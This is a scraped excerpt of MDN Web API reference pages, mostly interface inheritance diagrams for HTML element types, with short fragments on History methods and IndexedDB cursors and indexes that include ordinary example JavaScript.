...link:href="/docs/web/api/htmlparagraphelement" target="_top"><rect x="291" y="65" width="200" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlparagraphelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLParamElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...4"/><a xlink:href="/docs/web/api/htmlparamelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlparamelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLPictureElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...<a xlink:href="/docs/web/api/htmlpictureelement" target="_top"><rect x="311" y="65" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="401" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlpictureelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties no specific property, but inherits properties from its parent, htmlelement.
HTMLPreElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...4dde4"/><a xlink:href="/docs/web/api/htmlpreelement" target="_top"><rect x="351" y="65" width="140" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="421" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlpreelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLProgressElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
... xlink:href="/docs/web/api/htmlprogresselement" target="_top"><rect x="301" y="65" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlprogresselement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLQuoteElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...4"/><a xlink:href="/docs/web/api/htmlquoteelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlquoteelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLShadowElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
.../><a xlink:href="/docs/web/api/htmlshadowelement" target="_top"><rect x="321" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlshadowelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface inherits the properties of htmlelement.
HTMLSlotElement - Web APIs
events slotchange fired on an htmlslotelement instance (<slot> element) when the node(s) contained in that slot change.
... let slots = this.shadowroot.queryselectorall('slot'); slots[1].addeventlistener('slotchange', function(e) { let nodes = slots[1].assignednodes(); console.log('element in slot "' + slots[1].name + '" changed to "' + nodes[0].outerhtml + '".'); }); here we grab references to all the slots, then add a slotchange event listener to the 2nd slot in the template — which is the one that keeps having its contents changed in the example.
HTMLSourceElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
.../><a xlink:href="/docs/web/api/htmlsourceelement" target="_top"><rect x="321" y="65" width="170" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="406" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlsourceelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLSpanElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...de4"/><a xlink:href="/docs/web/api/htmlspanelement" target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlspanelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface has no properties, but inherits properties from: htmlelement.
HTMLStyleElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...4"/><a xlink:href="/docs/web/api/htmlstyleelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlstyleelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement, and implements linkstyle.
HTMLTableCaptionElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...ref="/docs/web/api/htmltablecaptionelement" target="_top"><rect x="261" y="65" width="230" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="376" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmltablecaptionelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLTableCellElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...link:href="/docs/web/api/htmltablecellelement" target="_top"><rect x="291" y="65" width="200" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="391" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmltablecellelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLTableColElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
... xlink:href="/docs/web/api/htmltablecolelement" target="_top"><rect x="301" y="65" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmltablecolelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLTableElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...4"/><a xlink:href="/docs/web/api/htmltableelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmltableelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLTableRowElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
... xlink:href="/docs/web/api/htmltablerowelement" target="_top"><rect x="301" y="65" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmltablerowelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLTableSectionElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...ref="/docs/web/api/htmltablesectionelement" target="_top"><rect x="261" y="65" width="230" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="376" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmltablesectionelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLTemplateElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
... xlink:href="/docs/web/api/htmltemplateelement" target="_top"><rect x="301" y="65" width="190" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="396" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmltemplateelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties this interface inherits the properties of htmlelement.
HTMLTimeElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...de4"/><a xlink:href="/docs/web/api/htmltimeelement" target="_top"><rect x="341" y="65" width="150" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="416" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmltimeelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLTitleElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...4"/><a xlink:href="/docs/web/api/htmltitleelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmltitleelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLUListElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...4"/><a xlink:href="/docs/web/api/htmlulistelement" target="_top"><rect x="331" y="65" width="160" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="411" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlulistelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties inherits properties from its parent, htmlelement.
HTMLUnknownElement - Web APIs
<div id="interfacediagram" style="display: inline-block; position: relative; width: 100%; padding-bottom: 20%; vertical-align: middle; overflow: hidden;"><svg style="display: inline-block; position: absolute; top: 0; left: 0;" viewbox="-50 0 600 120" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151...
...<a xlink:href="/docs/web/api/htmlunknownelement" target="_top"><rect x="311" y="65" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="401" y="94" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">htmlunknownelement</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} properties no specific property; inherits properties from its parent, htmlelement.
onMSVideoFormatChanged - Web APIs
onmsvideoformatchanged is an event which occurs when the video format changes.
... syntax value description event property object.onmsvideoformatchanged = handler; attachevent method object.attachevent("onmsvideoformatchanged", handler) addeventlistener method object.addeventlistener("", handler, usecapture) event handler parameters val[in], type=function see also htmlvideoelement microsoft api extensions ...
onMSVideoFrameStepCompleted - Web APIs
onmsvideoframestepcompleted is an event which occurs when the video frame has been stepped forward or backward one frame.
... syntax value description event property object.onmsvideoframestepcompleted = handler; attachevent method object.attachevent("onmsvideoframestepcompleted", handler) addeventlistener method object.addeventlistener("", handler, usecapture) event handler parameters val[in], type=function see also htmlvideoelement microsoft api extensions ...
onMSVideoOptimalLayoutChanged - Web APIs
onmsvideooptimallayoutchanged is an event which occurs when the msislayoutoptimalforplayback state changes.
... syntax value description event property object.onmsvideooptimallayoutchanged = handler; attachevent method object.attachevent("onmsvideooptimallayoutchanged", handler) addeventlistener method object.addeventlistener("", handler, usecapture) synchronous no bubbles no cancelable no see also msislayoutoptimalforplayback htmlvideoelement microsoft api extensions ...
History.back() - Web APIs
WebAPIHistoryback
add a listener for the popstate event in order to determine when the navigation has completed.
... html <button id="go-back">go back!</button> javascript document.getelementbyid('go-back').addeventlistener('click', () => { history.back(); }); specifications specification status comment html living standardthe definition of 'history.back()' in that specification.
History.forward() - Web APIs
WebAPIHistoryforward
add a listener for the popstate event in order to determine when the navigation has completed.
... html <button id='go-forward'>go forward!</button> javascript document.getelementbyid('go-forward').addeventlistener('click', e => { window.history.forward(); }) specifications specification status comment html living standardthe definition of 'history' in that specification.
History.pushState() - Web APIs
WebAPIHistorypushState
whenever the user navigates to the new state, a popstate event is fired, and the state property of the event contains a copy of the history entry's state object.
... note that pushstate() never causes a hashchange event to be fired, even if the new url differs from the old url only in its hash.
IDBCursor.delete() - Web APIs
WebAPIIDBCursordelete
syntax myidbcursor.delete(); returns an idbrequest object on which subsequent events related to this operation are fired.
...for a complete working example, see our idbcursor example (view example live.) function deleteresult() { list.innerhtml = ''; var transaction = db.transaction(['rushalbumlist'], 'readwrite'); var objectstore = transaction.objectstore('rushalbumlist'); objectstore.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { if(cursor.value.albumtitle === 'grace under pressure') { var request = cursor.delete(); request.onsuccess = function() { console.log('deleted that mediocre album from 1984.
IDBCursor.update() - Web APIs
WebAPIIDBCursorupdate
return value an idbrequest object on which subsequent events related to this operation are fired.
...for a complete working example, see our idbcursor example (view example live.) function updateresult() { list.innerhtml = ''; const transaction = db.transaction(['rushalbumlist'], 'readwrite'); const objectstore = transaction.objectstore('rushalbumlist'); objectstore.opencursor().onsuccess = function(event) { const cursor = event.target.result; if (cursor) { if (cursor.value.albumtitle === 'a farewell to kings') { const updatedata = cursor.value; updatedata.year = 2050; const request = cursor.update(updatedata); request.onsuccess = function() { console.log('a better album year?'); }; }; const listitem = document.createele...
IDBCursorWithValue - Web APIs
><a xlink:href="/docs/web/api/idbcursorwithvalue" target="_top"><rect x="131" y="1" width="180" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="221" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">idbcursorwithvalue</text></a></svg></div> a:hover text { fill: #0095dd; pointer-events: all;} methods inherits methods from its parent interface, idbcursor.
...for a complete working example, see our idbcursor example (view example live.) function displaydata() { var transaction = db.transaction(['rushalbumlist'], "readonly"); var objectstore = transaction.objectstore('rushalbumlist'); objectstore.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var listitem = document.createelement('li'); listitem.innerhtml = cursor.value.albumtitle + ', ' + cursor.value.year; list.appendchild(listitem); cursor.continue(); } else { console.log('entries all displayed.'); } }; }; specifications specification status comment indexed d...
IDBIndex.count() - Web APIs
WebAPIIDBIndexcount
return value a idbrequest object on which subsequent events related to this operation are fired.
... function displaydatabyindex() { tableentry.innerhtml = ''; var transaction = db.transaction(['contactslist'], 'readonly'); var objectstore = transaction.objectstore('contactslist'); var myindex = objectstore.index('lname'); var countrequest = myindex.count(); countrequest.onsuccess = function() { console.log(countrequest.result); } myindex.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var tablerow = document.createelement('tr'); tablerow.innerhtml = '<td>' + cursor.value.id + '</td>' + '<td>' + cursor.value.lname + '</td>' + '<td>' + cursor.value.fname + '</td>' + '<td>' + cursor.value.jtitle + '</td>' ...
IDBIndex.get() - Web APIs
WebAPIIDBIndexget
return value an idbrequest object on which subsequent events related to this operation are fired.
... function displaydatabyindex() { tableentry.innerhtml = ''; var transaction = db.transaction(['contactslist'], 'readonly'); var objectstore = transaction.objectstore('contactslist'); var myindex = objectstore.index('lname'); var getrequest = myindex.get('bungle'); getrequest.onsuccess = function() { console.log(getrequest.result); } myindex.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var tablerow = document.createelement('tr'); tablerow.innerhtml = '<td>' + cursor.value.id + '</td>' + '<td>' + cursor.value.lname + '</td>' + '<td>' + cursor.value.fname + '</td>' + '<td>' + cursor.value.jtitle + '</td>' ...
IDBIndex.getKey() - Web APIs
WebAPIIDBIndexgetKey
return value an idbrequest object on which subsequent events related to this operation are fired.
...isplaydatabyindex() { tableentry.innerhtml = ''; var transaction = db.transaction(['contactslist'], 'readonly'); var objectstore = transaction.objectstore('contactslist'); var myindex = objectstore.index('lname'); var getkeyrequest = myindex.getkey('bungle'); getkeyrequest.onsuccess = function() { console.log(getkeyrequest.result); } myindex.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var tablerow = document.createelement('tr'); tablerow.innerhtml = '<td>' + cursor.value.id + '</td>' + '<td>' + cursor.value.lname + '</td>' + '<td>' + cursor.value.fname + '</td>' + '<td>' + cursor.value.jtitle + '</td>' ...
IDBIndex - Web APIs
WebAPIIDBIndex
methods inherits from: eventtarget idbindex.count() returns an idbrequest object, and in a separate thread, returns the number of records within a key range.
...for a complete working example, see our idbindex-example demo repo (view the example live.) function displaydatabyindex() { tableentry.innerhtml = ''; var transaction = db.transaction(['contactslist'], 'readonly'); var objectstore = transaction.objectstore('contactslist'); var myindex = objectstore.index('lname'); myindex.opencursor().onsuccess = function(event) { var cursor = event.target.result; if(cursor) { var tablerow = document.createelement('tr'); tablerow.innerhtml = '<td>' + cursor.value.id + '</td>' + '<td>' + cursor.value.lname + '</td>' + '<td>' + cursor.value.fname + '</td>' + '<td>' + cursor.value.jtitle + '</td>' ...
IDBMutableFile - Web APIs
events handler mutablefile.onabort the abort event is triggered each time the handled file is aborted.
... mutablefile.onerror the error event is triggered each time something goes wrong.
IDBObjectStore.deleteIndex() - Web APIs
